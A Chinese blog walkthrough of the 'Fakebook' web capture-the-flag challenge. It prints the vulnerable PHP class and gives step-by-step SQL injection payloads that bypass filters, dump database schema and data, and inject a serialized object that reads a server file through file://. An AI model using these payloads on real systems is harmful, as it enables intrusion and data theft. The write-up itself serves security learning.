码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 攻防世界WEB练习-Fakebook


    前言

    作者简介:不知名白帽,网络安全学习者。

    博客主页:https://blog.csdn.net/m0_63127854?type=blog

    攻防世界专栏:https://blog.csdn.net/m0_63127854/category_11983747.html

    网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

    目录

    题目场景

    访问robots.txt

    下载文件并查看

    尝试进行注册

    尝试SQL注入

    猜测字段

    查询数据库名

    查询表名

    查询段名

    查看data数据

    扫描目录

    读取文件

    查看源码

    base64解码

    提取flag


    题目场景

    访问robots.txt

    下载文件并查看

    1. class UserInfo
    2. {
    3. public $name = "";
    4. public $age = 0;
    5. public $blog = "";
    6. public function __construct($name, $age, $blog)
    7. {
    8. $this->name = $name;
    9. $this->age = (int)$age;
    10. $this->blog = $blog;
    11. }
    12. function get($url)
    13. {
    14. $ch = curl_init();
    15. //curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
    16. curl_setopt($ch, CURLOPT_URL, $url);
    17. //curl_setopt : 请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
    18. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    19. //CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
    20. $output = curl_exec($ch);
    21. //curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
    22. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    23. if($httpCode == 404) {
    24. return 404;
    25. //CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
    26. //curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。
    27. 如果状态码不是404,就返回exec的结果。
    28. }
    29. curl_close($ch);
    30. return $output;
    31. }
    32. public function getBlogContents ()
    33. {
    34. return $this->get($this->blog);
    35. }
    36. public function isValidBlog ()
    37. {
    38. $blog = $this->blog;
    39. return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    40. //正则匹配,在blog中要匹配到https://
    41. }
    42. }

    尝试进行注册

    注册成功

    发现username的1是蓝色的,可以弹出新的界面

    根据url发现有一个?no=1,尝试进行sql注入

    尝试SQL注入

    尝试注入?no=1 and 1=1和?no=1 and 1=2

    报错,存在sql注入

    猜测字段

    从?no=1 order by 1开始猜测

    从?no=1 order by 5报错,所以有4个字段

    查询数据库名

    ?no=1 union select 1,2,3,4-- -

    发现存在拦截,尝试进行绕过

    ?no=-1 union all select 1,2,3,4-- -

    ?no=-1 union/**/select/**/1,2,3,4-- -

    发现2是回显点

    这时查询一下数据库名

    ?no=-1 union all select 1,database(),3,4-- -

    查询表名

    ?no=-1 union all select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"-- -

    查询段名

    ?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_name="users"-- -

    ?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"-- -

    查看data数据

    ?no=-1 union all select 1,group_concat(data) ,3,4 from users-- -

    发现数据已经被序列化

    扫描目录

    发现var/www/html/flag.php文件

    读取文件

    采用构造file协议去读取/var/www/html/flag.php的内容

    ?no=-1 union all select 1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'-- -

    查看源码

    base64解码

    提取flag

    flag = "flag{c1e552fdf77049fabf65168f22f7aeab}"

  • 相关阅读:
    【教程】Pycharm社区版中打开jupyter的方法
    java100-集合类简介
    具体型号的CPU与GPU/CUDA计算能力实测记录
    spring面试整理
    全流程机器视觉工程开发(三)任务前瞻 - 从opencv的安装编译说起,到图像增强和分割
    EV代码签名申请步骤
    HTML入门教程23:HTML脚本
    SRC逻辑漏洞-忘记密码/邮箱密码找回/链接token时间戳参数可逆
    K_A02_003 基于单片机驱动8位数码管模块(MAX7219) 0-7静态显示+滚动显示
    springboot老年康复中心信息管理系统的设计与实现毕业设计-附源码250859
  • 原文地址:https://blog.csdn.net/m0_63127854/article/details/126575532
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号